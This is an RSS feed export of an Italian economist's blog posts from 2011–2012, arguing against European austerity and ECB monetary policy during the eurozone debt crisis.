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	<title>Pier Giorgio Gawronski</title>
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	<description>il coraggio di cambiare</description>
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		<title>I miei post sul Fatto Quotidiano</title>
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		<pubDate>Sun, 05 Feb 2012 20:02:29 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
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		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[democrazia]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[I post che ho scritto dal 26 Luglio in poi si trovano su Il Fatto Quotidiano on line. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.

                                                                                                   Lorena Bianchetti
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			<content:encoded><![CDATA[<p style="text-align: justify;">I post che ho scritto dal 26 Luglio in poi si trovano su <a href="http://www.ilfattoquotidiano.it/blog/pgawronski/page/3/">Il Fatto Quotidiano on line</a>. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.</p>
<p style="text-align: center;"><a href="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg"><img class="size-full wp-image-1947  aligncenter" title="Lorena Bianchetti" src="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg" alt="" width="250" height="400" /></a></p>
<p><em>                                                                                                   Lorena Bianchetti</em></p>
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		<title>Mercati finanziari: chi fermerà la pioggia?</title>
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		<pubDate>Tue, 26 Jul 2011 19:49:19 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[ Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento. ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.

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			<content:encoded><![CDATA[<p> Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento.</p>
<p> ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.</p>
<p>“Non spetta a me &#8211; dice Trichet – ho già acquistato titoli sui mercati”. “Non spetta a me &#8211; dice Barroso – ho già prodotto le nuove regole del Patto di Stabilità”. “Non spetta a me – dice Angela Merkel &#8211; ho già mandato aiuti alla Grecia”.</p>
<p>Refrain (in coro): “Mettete i conti in ordine!”.</p>
<p>“Fatto!”, dice Tremonti. “Fatto!”, dicono i portoghesi, gli irlandesi, gli spagnoli, ecc. ecc.: “Cavo signove, la mia manovva ha vicevuto lodi unanimi in Euvopa…”.</p>
<p>Ma ogni volta che fanno una manovra, succede il contrario di quanto previsto: salgono i tassi sul debito… la spesa per interessi… il deficit… E si ricomincia. Com’è possibile?</p>
<p>Sarà la logica puramente nazionale, del ‘caso per caso’, smentita dall’alto numero di paesi europei coinvolti. Sarà la logica puramente finanziaria: i risultati finanziari – anche di uno Stato – non sono la risultante delle tendenze economiche sottostanti? Sarà perché quando – nel migliore dei casi – si invoca la crescita, non si ha idea di come innescarla, nelle particolari circostanze in cui ci troviamo. Fatto sta che c’è qualcosa di profondamente malato nelle istituzioni europee e nei modelli economici in voga in alcuni ambienti.</p>
<p>Eppure l’attuale depressione economica e la grandinata che sta per arrivare non sono inevitabili. La crescita è possibile subito: tre settimane. Una crisi, com’è questa, da carenza di domanda – la gente ha paura del futuro e non spende abbastanza, le imprese non vendono abbastanza – è infinitamente più facile da risolvere di una crisi di offerta – hanno bombardato le fabbriche, siamo inefficienti, corrotti … – del sistema produttivo! Date più soldi alla gente (in difficoltà economica) e l’economia ripartirà. I soldi, si stampano.</p>
<p>Refrain (in coro): “Inflazione!” “Iper-inflazione!” “Tutelare i risparmi!” “Cultura della stabilità!” “Caro Gawronski, lei è un ingenuo!” “Populista!” “Se fosse così semplice, non ci avrebbero già pensato!?”</p>
<p>Mi viene in mente Palazzeschi:</p>
<p>Mamma mia! / E che poesia / volete che ci sia / dentro un negozio di pizzicheria! / Se aveste detto fiori, o seteria, / se aveste detto in quello di antichità, / certo lì ce ne sarà; / ma non in questo qui, / venite via, / per carità! / Mio caro, siatene persuaso, / per la fretta che avete di giungere alla mèta, / questa volta siete evaso / dal campo del poeta! / Non ce n’è, non ce n’è, restate franco!</p>
<p>Basta, miei cari, basta / Che ci vada il poeta, dietro al banco!</p>
<p>PS Per i link vedi <a href="http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/">http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/</a></p>
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		<title>Cadono le braccia, cade l’economia</title>
		<link>http://www.piergiorgiogawronski.com/cadono-le-braccia-cade-l%e2%80%99economia/</link>
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		<pubDate>Fri, 22 Jul 2011 00:36:10 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Il senso delle decisioni prese a Bruxelles, sotto la guida di Francia e Germania, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I debiti degli Stati membri in difficoltà sono un po’ anche nostri. Per due motivi. Le nostre banche ci sono dentro fino al collo. Il fallimento di [...]]]></description>
			<content:encoded><![CDATA[<div>Il senso delle <a href="http://www.consilium.europa.eu/uedocs/cms_data/docs/pressdata/en/ec/123978.pdf" target="_blank">decisioni prese a Bruxelles</a>, sotto la guida di <strong>Francia</strong> e <strong>Germania</strong>, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I<strong> debiti degli Stati membri</strong> in difficoltà sono un po’ anche nostri. Per due motivi. <em>Le nostre banche ci sono dentro fino al collo. Il fallimento di Italia e Spagna ci travolgerebbe.</em> Pertanto:</div>
<ul>
<li>Alla Grecia vengono prestate nuove importanti risorse.</li>
<li>A Grecia, Irlanda e Portogallo vengono abbassati i tassi d’interesse (finalmente!) ed allungate le scadenze sui prestiti elargiti dal Fondo Europeo per la Stabilità.</li>
<li>Le banche che incautamente hanno finanziato in passato lo Stato greco devono prendere ‘volontariamente’ atto che non riavranno indietro tutti i loro soldi. La prossima volta, facciano meglio il loro lavoro.</li>
<li>Il Fondo Europeo per la stabilità potrà intervenire sui mercati secondari a sostegno dei titoli del debito pubblico di qualsiasi paese sotto attacco speculativo (anche l’Italia).</li>
</ul>
<p>Poiché il debito pubblico dei paesi a rischio viene in certa misura ‘garantito’ dalla Germania (anche se il comunicato dice che il caso della Grecia è eccezionale), vuol dire che da ora in poi conta meno di chi è il debito. Ed ecco, assistiamo al fenomeno della convergenza dei rendimenti dei titoli pubblici. <a href="http://www.bloomberg.com/apps/quote?ticker=GBTPGR10:IND" target="_blank">Scendono violentemente i tassi di paesi come l’Italia</a>, ma si <a href="http://www.bloomberg.com/apps/quote?ticker=GDBR10:IND" target="_blank">impennano quelli della Germania</a>. Ora si guarderà di più alla <a href="http://edition.cnn.com/2011/BUSINESS/06/19/europe.debt.explainer/index.html" target="_blank">sostenibilità del debito pubblico totale dell’Europa</a>: 80% del PIL nel 2010, cioè bene. Per questo, nell’insieme la spesa per interessi degli Stati europei scende, l’Armageddon si allontana, i mercati brindano, gli speculatori ‘ribassisti’ perdono soldi a favore dei ‘rialzisti’.</p>
<p>Fin qui tutto bene. Poi nel comunicato c’è questo paragrafo (<strong>e ti cadono le braccia</strong>).<br />
<em>“All euro area Member States will adhere strictly to the agreed fiscal targets, improve competitiveness and address macro-economic imbalances. Public deficits in all countries except those under a programme will be brought below 3% by 2013 at the latest”.</em></p>
<p>Traduzione:<br />
1) i paesi con alti debiti pubblici faranno una <strong>dura austerità</strong><br />
2) i paesi senza alti debiti pubblici faranno una <strong>dura austerità</strong><br />
3) la banca centrale <strong>sta alzando i tassi</strong> (frase scritta con inchiostro simpatico)<br />
4) ???<br />
5) Pertanto, la nostra strategia causerà <a href="http://krugman.blogs.nytimes.com/2011/07/21/1937-1937-1937/" target="_blank"><strong>un’accelerazione della crescita</strong></a></p>
<p>Oh, e nel paragrafo introduttivo si legge anche:<br />
<em>“We reaffirm our determination to reinforce convergence and competitiveness … in the euro area”.</em></p>
<p>Ovvero: la Germania continuerà a incrementare la sua competitività, invece di alzare i salari. I paesi rimasti indietro, come Spagna e Italia (dove un deficit commerciale del 3% del PIL sta causando la rapida caduta della ricchezza netta delle famiglie), dovranno ‘convergere’ sulla Germania, cioè … ridurre i salari.<br />
<a href="http://www.oecd.org/document/20/0,3746,en_21571361_44315115_48364756_1_1_1_1,00.html" target="_blank"><br />
Aspettatevi un’altra recessione.</a> Ma se possedete dei titoli pubblici, potete stare un po’ più tranquilli. E se siete degli speculatori, non disperate: l’instabilità finanziaria non svanirà.</p>
<p>Buone vacanze.</p>
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		<title>Perché i mercati crollano</title>
		<link>http://www.piergiorgiogawronski.com/perche-i-mercati-crollano/</link>
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		<pubDate>Mon, 18 Jul 2011 05:14:57 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>

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		<description><![CDATA[Un breve post per chiarire le dinamiche di breve termine dei mercati
]]></description>
			<content:encoded><![CDATA[<div id="testoarticolo" style="text-align: left;">Solo un breve post, per chiarire le dinamiche di breve termine dei mercati.</div>
<div style="text-align: left;"> </div>
<div style="text-align: left;">Se ne sentono tante in giro. I <strong>mercati </strong>crollano per colpa degli <span style="text-decoration: line-through;">untori </span>speculatori. Per la scarsa credibilità della classe politica. Perché la manovra è fatta male. Ma gli speculatori ci sono sempre stati, la credibilità della classe politica era già bassa prima, e la manovra è stata rafforzata.</div>
<p style="text-align: left;">Il vero problema sono: i <strong>tempi</strong>.</p>
<p style="text-align: left;">Riassumiamo. Venerdì 8 luglio i mercati hanno detto: <em>“La <strong>manovra </strong>non è adeguata”</em> (forse perché rimandava tutto l’aggiustamento al 2013 senza definirne i contenuti). Ed è iniziata la <strong>caduta dei titoli italiani</strong>. Ebbene, questa volta il governo e la classe politica non hanno dormito. Nel weekend del 9 e 10 luglio hanno rafforzato la manovra, e venerdì 15 l’hanno pure approvata! Tempi brevissimi. Napolitano ha parlato di <em>“<a href="http://www.ilfattoquotidiano.it/2011/07/14/napolitano-in-futuro-serviranno-altre-prove-di-coesione-nazionale/145283/" target="_blank">un miracolo</a>”</em>: per la politica è un risultato eccezionale.</p>
<p style="text-align: left;">Ma in quei 5 giorni, fra il lunedì 11 e il venerdì 15 luglio, i mercati non sono rimasti fermi. I tassi d’interesse sono saliti, tanto da determinare nuovi oneri finanziari – a regime -  superiori ai nuovi risparmi che la manovra stava introducendo. E il bilancio pubblico si è trovato nella paradossale situazione di essere ancora… meno sostenibile! Ovvero: la manovra licenziata il 15 luglio sarebbe stata sufficiente a placare i mercati fino a lunedì 11 mattina, ma <strong>non era più sufficiente</strong> il 15 luglio. Sì, in queste situazioni non c’è più “equilibrio”. O c’è un circolo vizioso (i tassi salgono, salgono, salgono). O c’è un circolo virtuoso (i tassi scendono, migliora la sostenibilità, i tassi scendono).</p>
<p style="text-align: left;">Nel weekend del 9 e 10 luglio si sarebbe dovuta predisporre una manovra che compensasse anche i prevedibilissimi ulteriori aumenti dei tassi verificatisi nei giorni successivi, per annunciarla lunedì 11. Soffocare l’incendio sul nascere. Ciò avrebbe fatto cadere i tassi (salire i mercati), avviando il circolo virtuoso. I soldi così risparmiati, se in eccesso, si sarebbero poi potuti <strong>restituire ai cittadini </strong>(come fece Prodi nel 1998 con la tassa per l’Euro).</p>
<p style="text-align: left;">Interventi della <strong>Bce </strong>sufficientemente aggressivi da spingere (anch’essi) gli <a href="http://www.bloomberg.com/apps/quote?ticker=.ITAGER10:IND" target="_blank">spread Btp-Bund sotto ai 2.20 bp.</a> avrebbero contribuito in maniera decisiva all’innesco del circolo virtuoso, poiché avrebbero reso la manovra del 15 luglio “adeguata”. La Bce avrebbe poi rivenduto con profitto i titoli, una volta ristabilita la calma. Ma l’Europa, contrariamente a Usa, Giappone, Canada e via elencando, non ha un “prestatore di ultima istanza”: la Bce non ritiene neppure questo un suo compito “normale” in caso di crisi sistemica.</p>
<p style="text-align: left;">Se, come dice Liikanen, questa è <em>“la peggiore crisi che il mondo abbia mai dovuto affrontare”</em>, non abbiamo la possibilità del <em>learning by doing</em>, “sbagliando s’impara”. Il prezzo dell’incapacità di capire come funziona il mondo sarebbe troppo alto. Vorrei sommessamente suggerire due cose. Il ministro si circondi subito dei migliori esperti di crisi finanziarie che abbiamo: tipo Luigi Spaventa e, sì, Francesco Giavazzi. Se dobbiamo tentare una <a href="http://www.ilfattoquotidiano.it/2011/07/15/gli-economisti-ci-salveranno/145622/" target="_blank"><strong>strategia di stampo liberista</strong></a>, almeno facciamolo bene: con i tempi giusti.</p>
<p style="text-align: left;">In secondo luogo, in questo post sono rimasto deliberatamente all’interno di una logica meramente neoclassica (liberista). Ma nei post precedenti ho presentato un’altra ipotesi: che nelle attuali depresse condizioni i risparmi dell’austerità siano inferiori (o quasi) alla perdita di entrate fiscali che essa provoca: insomma, per la stabilità finanziaria, la crescita conta anche di più. A conferma, la crisi attuale non si è manifestata in concomitanza con l’uscita di <a href="http://www.istat.it/salastampa/comunicati/in_calendario/contoPA/20110701_00/" target="_blank">dati negativi sul deficit italiano</a>, bensì di <a href="http://www.etribuna.com/eportale/tutti-gli-articoli-del-portale/15342-istat-produzione-industriale-a-maggio-18-su-base-annua.html" target="_blank">dati negativi</a> <a href="http://www.istat.it/salastampa/comunicati/non_calendario/20110706_00/" target="_blank">sulla crescita</a>. Il ministro si circondi dunque anche di qualche <strong>keynesiano </strong>con le idee chiare su <a href="http://www.letteradeglieconomisti.it/" target="_blank">come sostenere la domanda</a>. Si tratta di <a href="http://www.vivicentro.org/storico/content.php/15698-All-euro-serve-un-inflazione-programmata-GIORGIO-LA-MALFA-PIERGIORGIO-GAWRONSKI" target="_blank"><strong>strategie complementari</strong></a>.</p>
<p style="text-align: left;">Si, cari lettori, il nostro sistema economico è una tecnologia sociale complessa e sofisticata: ha delle fragilità non da poco; e richiede una <strong>manutenzione adeguata</strong>: pena i disastri che osserviamo.</p>
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		<title>Gli economisti ci salveranno</title>
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		<pubDate>Fri, 15 Jul 2011 07:08:43 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Sul fallimento di un grande progetto culturale: il liberismo]]></description>
			<content:encoded><![CDATA[<p> </p>
<div id="testoarticolo"><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /></div>
<div id="attachment_145624"><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png"></a>Tassi d’interesse sul debito irlandese a dieci anni, 2010-11</div>
<p style="text-align: justify;"> E’ buona norma, fra economisti, non darsi troppo addosso. Pena: la <strong>perdita di credibilità della scienza economica</strong>. Ma non si può tacere sul fatto che la crisi in cui versiamo è anche figlia del fallimento di un grande progetto culturale. I suoi epigoni, colleghi di chiara fama, girano in tondo, sperduti in un mondo che non riconoscono e che non credevano possibile: quello della grande depressione in stile anni ’30. E danno pessimi consigli.</p>
<p>Così <strong><a href="http://it.wikipedia.org/wiki/Alberto_Alesina" target="_blank">Alberto Alesina</a> </strong>e<strong> <a href="http://it.wikipedia.org/wiki/Francesco_Giavazzi" target="_blank">Francesco Giavazzi</a></strong>, oggi, sul <a href="http://www.corriere.it/editoriali/11_luglio_15/alesina_giavazzi_coltivare_illusioni_c5b18e94-aea7-11e0-82fd-68e04dbc5f96.shtml" target="_blank"><em>Corriere della Sera</em></a> . Due fra i più celebri economisti italiani. Il primo, due anni fa, se ne uscì con grande fanfara con un <em><a href="http://www.nber.org/papers/w15438" target="_blank">paper</a></em> in cui presentava alcuni casi di “austerità espansiva”. Più austerità uguale… più crescita: miracoli della “fiducia”! E’ la tesi cara al neoliberismo, analoga a <a href="http://rortybomb.wordpress.com/2011/07/07/why-is-the-obama-team-embracing-hooverism/" target="_blank">quella sostenuta da Hoover nel 1929-33</a>. Il paper <a href="http://www.newdeal20.org/wp-content/uploads/2010/12/a-world-upside-down" target="_blank">è stato smontato</a> in quattro e quattr’otto dall’<a href="http://www.cepr.net/index.php/publications/reports/the-myth-of-expansionary-fiscal-austerity" target="_blank">analisi econometrica</a>: nei casi citati, la crescita dipendeva da tutt’altri fattori; <a href="http://www.economist.com/node/17147618?story_id=17147618" target="_blank">l’austerità contribuiva semmai a ridurla</a>. Ma intanto la “ricetta Alesina” è stata tentata in Grecia, Irlanda, Portogallo: <strong>con esiti catastrofici</strong>.</p>
<p>Ora i due economisti sostengono, giustamente, che la <strong>manovra </strong>in discussione oggi al Parlamento non è sufficiente a stabilizzare i mercati. E che uno dei motivi è la mancanza di (prospettive di) crescita. (Come, come? L’austerità non doveva essere<em> “espansiva” </em>di per sé?). E allora, come sostenere la crescita? La ricetta è la solita: <em>“Le riforme strutturali… deregolamentazione di certe professioni, miglioramenti nel campo della giustizia civile e nei costi burocratici per le imprese”</em>.</p>
<p>Le riforme strutturali vanno benissimo, per carità: ci ho fatto sopra un’intera campagna elettorale (primarie Pd 2007). Ma (lo dicono i due colleghi) <em>“queste riforme strutturali non daranno risultati sullo sviluppo immediati”</em>. Dunque? Giavazzi e Alesina suggeriscono di riorganizzare i fattori di produzione in maniera più efficiente, per aumentare il potenziale produttivo del paese, quando questo servirà (il che avverrà quando saremo in piena occupazione, cioè fuori dai guai). Ottimo,<strong> se saremo ancora vivi</strong>. Ma ora, per affrontare i problemi attuali, non serve a niente. Perché l’attuale potenziale produttivo sarà anche modesto, ma è già largamente sottoutilizzato: non ci sono abbastanza clienti nei negozi. A cosa serve aumentare ancora la capacità produttiva? Dicono: <em>“l’effetto annuncio… può molto aiutare”</em>. Sì? <a href="http://www.indexmundi.com/g/g.aspx?c=ei&amp;v=66" target="_blank">Come in Irlanda</a>? Basta guardare il <strong><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png" target="_blank">grafico</a></strong> dei tassi d’interesse sul debito irlandese a dieci anni (2010-11), in alto a sinistra.</p>
<p>Emerge qui, in tutta la sua gravità, il<strong> fallimento del progetto scientifico neoliberista</strong>, che ha largamente dominato le facoltà di economia negli ultimi trent’anni. Non solo la <em>deregulation</em> ha aperto le porte agli abusi finanziari e a un <em>remake</em> del 1929. È anche che, una volta entrati in depressione, non sanno più che pesci prendere. Hanno cancellato le teorie keynesiane, perché prevedevano la possibilità di una caduta non momentanea della domanda (<em>“l’offerta crea sempre la sua domanda!”</em>), e ora non sono attrezzati per suggerire misure di rilancio. Poveretti: vivono proprio… in un mondo sbagliato!</p>
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		<title>Le misure Consob non funzioneranno</title>
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		<pubDate>Sun, 10 Jul 2011 23:17:29 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
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		<category><![CDATA[crisi finanziaria]]></category>

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		<description><![CDATA[Sul mercato dei titoli pubblici di Portogallo, Irlanda, Italia, Grecia e Spagna (PIIGS) si gioca una partita decisiva per la crisi finanziaria europea.]]></description>
			<content:encoded><![CDATA[<p>Scrivo nella notte fra domenica e lunedì. Le misure della Consob contro la speculazione ribassista sono doverose. Riguardano il periodo estivo, quando i volumi dei titoli scambiati si assottigliano, prestando il fianco a manovre speculative illegali delle ‘mani forti’. Ora, se qualcuno bara, sarà più facile individuarlo.</p>
<p>Tuttavia le misure adottate – o altre simili – <strong>non fermeranno l’ondata di ribassi</strong>. Perché è sul mercato dei titoli pubblici di Portogallo, Irlanda, Italia, Grecia e Spagna (PIIGS) che si gioca la partita decisiva.</p>
<p><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/07/grafico1.png&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/grafico1.png"></a></p>
<div>È appena iniziato un incendio. Gli incendi si sviluppano in modo non lineare. Per fermarli, è decisivo quello che si fa (o non si fa) <strong>all’inizio</strong>.</div>
<p>Le cause principali dell’incendio sono due: i debiti pubblici, e la crescita anemica (o negativa) della base imponibile. Per spegnere il fuoco sul nascere bisogna agire rapidamente, e in modo decisivo, su entrambe le cause.</p>
<p>I paesi summenzionati dovrebbero ridurre il debito, tagliando la spesa pubblica e/o alzando le tasse. L’Italia dovrebbe fare subito la manovra per il 2013 e 2014, che per ora è solo un vago libro dei sogni. Tremonti: “Chi ci chiede di fare di più, o di anticipare ad oggi le misure previste per il prossimo triennio, non ha capito nulla. Se lo facciamo, ammazziamo il paese”. Eh no! Signor Ministro, è lei che non ha capito. Non Le si chiede di concentrare i sacrifici in un anno, ma di votare subito misure concrete e credibili, che mettano a posto i conti anche negli anni a venire.</p>
<p>Ma in questa <a href="http://www.ilfattoquotidiano.it/2011/06/15/l%e2%80%99europa-soffocata-dal-monetarismo/118327/" target="_blank">congiuntura depressa</a>, post ‘crisi finanziaria globale’, la spesa pubblica ‘tagliata’ non viene sostituita da nulla, e si traduce perciò inesorabilmente in una nuova caduta delle vendite delle imprese, della base imponibile, e delle entrate fiscali. Lo si è già visto in Grecia, in Irlanda, in Portogallo. Fare austerità in questo modo è inutile e dannoso: ci si ritrova quasi con lo stesso deficit, e tanti disoccupati in più.</p>
<p>Manca una gamba della strategia: il sostegno alla domanda privata, per compensare i tagli alla spesa pubblica e stabilizzare le vendite delle imprese . Sono convinto che oggi solo la Banca Centrale Europea ha i mezzi per stimolare la domanda del settore privato. <a href="http://www.ilfattoquotidiano.it/2011/07/04/economisti-keynesiani-sveglia/139623/" target="_blank">Qualcuno dovrebbe dirglielo</a>.</p>
<p>Oppure ci vorrebbero ministri economici talmente competenti in macroeconomia da sostenere la domanda ‘a costo zero’.</p>
<p>O tutt’e due le cose.</p>
<p>*G<em>rafico: tassi d’interesse decennali sul debito pubblico italiano – <a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/grafico1.png" target="_blank">clicca qui per ingrandire</a></em></p>
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		<title>Euro, il tempo è scaduto</title>
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		<pubDate>Fri, 08 Jul 2011 21:09:09 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Ieri la Banca Centrale Europea ha alzato i tassi dall’1,25% all’1,5%. Oggi le borse e i titoli europei stanno cedendo, o addirittura crollando, come nel caso dell’Irlanda. Esiste una correlazione fra i due avvenimenti?]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;">Ieri la <strong>Banca Centrale Europea</strong> ha <strong>alzato i tassi dall’1,25% all’1,5%</strong>. Oggi le borse e i titoli europei stanno cedendo, o addirittura <strong>crollando</strong>, come nel caso <strong>dell’Irlanda</strong>. Esiste una correlazione fra i due avvenimenti? Ieri, il <a href="http://www.project-syndicate.org/commentary/stiglitz140/English" target="_blank">Nobel per l’economia <strong>Joseph Stiglitz</strong> </a>ha spiegato che sì: “<em>Solo pochi anni fa una potente ideologia </em>– <em>la fede nei mercati liberi e non regolati</em> –<em> ha portato il mondo sull’orlo del baratro… Speravo che la crisi avrebbe insegnato qualcosa…Tutt’altro! Il ritorno in auge delle teorie economiche della destra… minaccia ancora una volta l’economia globale… In Europa, mentre la Grecia ed altri paesi vanno in crisi, la </em>medicine du jour<em> è nuove dosi di austerità… che riducono la crescita e mettono in crisi i bilanci pubblici… [Perciò] crolla anche la fiducia: un circolo vizioso senza fine.</em>”</div>
<p>Portogallo (+1002bp), Italia (+236bp), e Irlanda (+1004bp), ma anche la Francia (+55bp) registrano oggi nuovi <strong><a href="http://www.ilfattoquotidiano.it/2011/07/08/spread-btp-italiani-bund-tedeschi-ai-massimi-storici-italia-sempre-piu-anello-debole-della-ue/143950/" target="_blank">record degli spread</a> </strong>(differenziali rispetto alla Germania) dei tassi d’interesse decennali che pagano sul debito pubblico; Spagna (272bp) e Belgio (123) sono vicinissimi ai massimi storici.</p>
<p>Per <strong>l’Italia</strong>, l’aumento degli spread da 150 a 235 in pochi mesi comporta, a regime, un <strong>aumento del deficit </strong>di 13 miliardi. Si tratta di <a href="http://dirittiglobali.it/home/categorie/18-lavoro-economia-a-finanza/17235-la-manovra-dei-rinvii-che-inquieta-i-mercati-.html" target="_blank">soldi buttati</a>, regalati ai mercati finanziari, che appesantiranno drammaticamente le future manovre. <strong>Ma preoccupa soprattutto il trend</strong>. Se i tassi salgono, è meno probabile che lo Stato italiano riesca ad azzerare il deficit, diventa più rischioso prestargli soldi, quindi i mercati richiedono tassi più alti… Questo circolo vizioso oltre una certa soglia non lo si ferma più. E la soglia può non essere lontana (300-500bp di spread?). Gli incendi vanno fermati subito.</p>
<p>Poiché la manovra da 40 miliardi bisogna farla, facciamola! A questo punto, renderà il doppio: per ogni euro di tasse addizionali che pagheremo, il nostro Stato risparmierà un euro sui mercati finanziari, che non dovremo pagare noi.</p>
<p>Ma il problema ha dimensioni europee. <a href="http://www.ilfattoquotidiano.it/2011/07/04/economisti-keynesiani-sveglia/139623/" target="_blank">Non vogliono dare una mano, espandere la moneta e abbassare i tassi?</a> Non vedono che c’è troppa pressione nel pentolone? Che il coperchio un po’ bisogna alzarlo? L’Italia è un paese troppo grande: <a href="http://economia.bloglive.it/eurogruppo-trova-accordo-su-fondo-di-stabilita-5095.html" target="_blank">se cede, salta il coperchio</a> e sono guai per tutti. E l’Italia, sui mercati, ha già cominciato a cedere. Se le cose vanno male, in Europa si scordino l’opzione greca,<strong> l’Italia in ginocchio</strong>, che “privatizza” (svende per due lire ai tedeschi) aziende pubbliche (magari anche qualche isola), che licenzia mezzo milione di impiegati pubblici e molti di più nel privato. A quel punto spero subentrerà un governo dignitoso che minaccerà di <strong>uscire dall’Euro</strong> (con conseguenze comunque durissime: zero illusioni!).</p>
<p>E allora? Forse sarà la Bce a piegarsi. Dovrà comprare titoli pubblici in grande quantità, cedendo in cambio moneta sonante. Allora sì che la moneta in giro sarà sufficiente per stimolare la crescita: anche quella dei prezzi. E’ la via neoliberista all’<strong>inflazione</strong>.</p>
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		<title>Economisti Keynesiani: sveglia!</title>
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		<pubDate>Mon, 04 Jul 2011 20:51:30 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[L’Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">La crisi globale è stata contenuta ovunque, tranne che in Europa. Qui c’è la <a href="http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/3-01072011-AP/EN/3-01072011-AP-EN.PDF" target="_blank"><strong>disoccupazione più alta del mondo</strong></a>, la crescita più bassa del mondo, ed alcuni <strong>Stati (PIGS) </strong>in crisi di competitività e a rischio di crash finanziario. Questi semplici <strong>fatti dimostrano il fallimento delle politiche europee</strong>. In questo quadro, sorprende il silenzio degli economisti keynesiani: stenta ad emergere una linea di politica economica veramente alternativa; mentre l’offerta politica oscilla fra due opposti estremismi: il neoliberismo e l’anti-capitalismo.</p>
<p>Si consideri la situazione dei bilanci pubblici. Nel 2005, su istigazione dell’Italia, <strong>Angela Merkel e Sarkozy </strong>– in piena ‘<em>deregulation</em>’ e bolla speculativa – annacquarono fortemente <strong>il Patto di Stabilità</strong>. Gli stessi leader – ora che l’economia europea ha bisogno di aiuto – spingono per dosi crescenti di austerità <em>in tutta Europa</em>. Eppure, la madre di tutti i problemi, oggi, è <a href="http://www.ilfattoquotidiano.it/2011/06/15/l%e2%80%99europa-soffocata-dal-monetarismo/118327/" target="_blank"><strong>l’insufficienza della domanda</strong></a>. Se Keynes fosse vivo, suggerirebbe una manovra opposta: più austerità prima della crisi, meno austerità oggi, ad eccezione che nei paesi ad alto debito.</p>
<p>Le politiche di austerità nei paesi con alto debito aggravano la depressione della domanda interna, e generano la <strong>spirale negativa osservata in Grecia, Irlanda, Portogallo</strong>, e che lambisce il nostro paese. Il governatore della <strong>Banca Centrale Europea</strong>, <strong>Trichet</strong>, ha molto insistito sull’idea che l’austerità “rafforza la fiducia del settore privato”, e per questa via “i consumi e gli investimenti”. Purtroppo, questa teoria non funziona. Al contrario, la crisi greca si trascina, e il conto diventa più salato (più stremata la Grecia, meno potrà restituire ai suoi creditori). In Irlanda, addirittura, i mercati hanno spinto i tassi d’interesse alle stelle nel 2010 <em>dopo</em> l’avvio del programma di austerità, man mano che le sue conseguenze si manifestavano. Sull’Italia incombe una manovra da 45 miliardi che rischia di provocare una nuova disastrosa recessione; ma anche <em>non fare</em> la manovra ci trascinerebbe nel vortice greco.</p>
